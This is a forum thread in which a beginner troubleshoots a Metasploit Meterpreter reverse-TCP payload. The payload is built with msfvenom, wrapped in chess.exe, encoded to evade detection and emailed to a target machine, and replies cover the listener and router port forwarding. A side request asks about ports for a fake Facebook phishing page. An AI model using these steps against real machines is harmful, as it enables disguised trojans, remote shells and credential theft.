Forum Thread: Metasploit Exploit Doesnt Connect to Meterpreter?

So I am trying to hack my own computer just for fun. I am at work and my computer is on my home network, so I am assuming anywhere LHOST appears, I put my public IP and port 80 for LPORT?

So I created this exploit by doing :

msfvenom -p windows/meterpreter/reversetcp LHOST= LPORT=80 -x /usr/share/chess.exe -e x86/shikataganai -i 200 -f exe >chess.exe

I then started meterpreter on MSF by doing
use exploit/multi/handler
set payload windowsmeterpreter/reversetcp

I then email my home computer the file, hop in team viewer, open it on my home computer, but nothing on the meterpreter end happens, no connection established, etc. I try sessions -l and no active connections is all i get. Does that exploit only work on certain windows machines, no windows 10? IF so how would I of known that, and does a win 10 one exist?

Follow up question: Can we specify what exploit we want to use, somewhere , such as if we want to use
msf >use exploit/windows/fileformat/ms14017rtf

or is this different than the above? What I am still trying to find is a database where based on operating systems I can try different exploits, like specific ones for operating systems.


Join the Next Reality AR Community

Get the latest in AR — delivered straight to your inbox.

20 Responses

Are you having the port forwarded back to your local machine?

Hmm I do not think so. How would I go about that ? I thought setting the LHOST to my IP was all that was needed.

You will need to port forward if you are using a private IP.

Ok. My provider is just dynamic not static if that matters. I'll look for a guide on forwarding. Am I using the correct IP though, LHOST should be my public IP I find by typing what's my IP on Google ?

Thank you

BTW can I implement a exploit in this wrapper ?

Judging from your question,I assume you're using windows 10?

Though I can't be sure,but generally exploits are very specific to the operating system,what version,software installed/running,the ports open on the target machine,the services it's running,etc,etc.

I'm guessing the exploit is already patched on modern OSes like Windows 10,that's why it didn't work.

This really isnt an exploit. Its simply a payload wrapped in a chess program. It should work.

so i logged into my router, and I see port forwarding but I am not sure where to go from there. I think the port is 4444 I want correct, as I remember seeing that in metasploit.

In the router settings I can do a custom service for port forwarding, the first picture, or just a regular port forward(2nd pic). Can someone walk me through how to do it, didnt see any good guides . I am guessing the server IP address is my kali local IP i get from ifconfig ? then the start port is 80 and end is 4444?


The LPORT you set on your payload is the one from which you'll receive a connection in your router. So, yeah, you'd have to set a rule where anything coming from port 4444 to your router is forwarded to your local ip. You can use any port to make the connection between your router and your pc but for simplicity sake I suggest you use the same (4444).

In sum:

Service Name: just name one
Protocol: TCP/UDP
Starting Port: 4444
Ending Port: 4444
Server IP Address: put the ifconfig address of the attacker here

so I put in the router port forwarding start port 4444 end port 4444 ip is the local IP of my kali laptop.

after I make the payload thing, I then do
use exploit/multi/hander
hit enter, then type
set payload windows/meterpreter/reversetcp
click enter,
then type exploit
click enter

is this the right order, should it be reversehttps and not tcp? also I am setting the LHOST by setting Set Lhost to my public IP(I should use public correct, not private?)

and when setting the payload up I use my public.

Any idea where I am going wrong?


A reverse tcp should do the trick. The router you port forwarded is the one to which the attacker is corrected, right? It's your work's router, no?

Also, what you do with the commands you mention is to open a listner. You are basically telling your computer to wait for a connection from the victim. Which means that first you should set the handler, and then click the chess.exe

Ok, so the port I should set in the payload by doing LPORT should be 4444?

After I make the payload, doing the 2 commands, use exploit/multi/handler and also set payload windows/meterpreter/reversetcp is correct?

I think my issue might be is I am not sure what LHOST to use. When I type in ifconfig I have a and a 192.168.1.xx

What I thought was that if I am attacking my computer when attacker and victim is on LAN, then I use the 192.168.1.xx but if I am via WAN, then I need to use the IP that appears when I type in whatsmyip into google (my public ip)?

By the way, after I type the 2 commands to start listening, should I type exploit after, or is the 2 commands enough?


Thats right: LPORT 4444

Yup, that is correct, reverse_tcp should do it. You need, however, to set the LPORT and LHOST for the listner as well. I assume you did this, or? is the local host... It's something your computer uses to himself, and only himself. Which means, ignore it. 192.168.1.xx is your PRIVATE IP, so use this in your HANDLER

Exactly what you said, when in LAN you only need a PRIVATE IP (the one you get from ifconfig). When in WAN, you use a PUBLIC IP in your payload and a PRIVATE in the handler. Yeah, google can easely tell you your public ip

I don't get your last question. You should activate the listner first (>exploit) and then have the victim click on the exe.

Just a suggestion: Perhaps you should read a bit more in Null Byte while you experiment with hacking. Try checking this and enjoy null byte!

Here is what I did, after setting LPORT to 4444 I opened the chess file on my desktop, nothing happened on kali, so I waited, then I typed run and opened the file again on my desktop but still nothing

Well one thing is obvious: you used your private IP when building your payload. That won't get you anywhere on WAN.

No no this was on LAN. I'm trying at least to get it on LAN.

same problem for me also tell me pls
about exploit

Which IP address and port should I use to harvest fake facebook page.
Currently I am using port 80(http) .........?

the one that you get when you type in ifconfig in your kali linux machine, take the ip-address that starts offen with 192 :D

It seems the issue is the program never opens on my windows 10 system, it just says windows cannot open this file. Do i have to specify somehow its for a 64bit system?

I have no public IP. Metasploit Exploit Doesnt Connect to Meterpreter help me how to port forwarding it

Share Your Thoughts

  • Hot
  • Active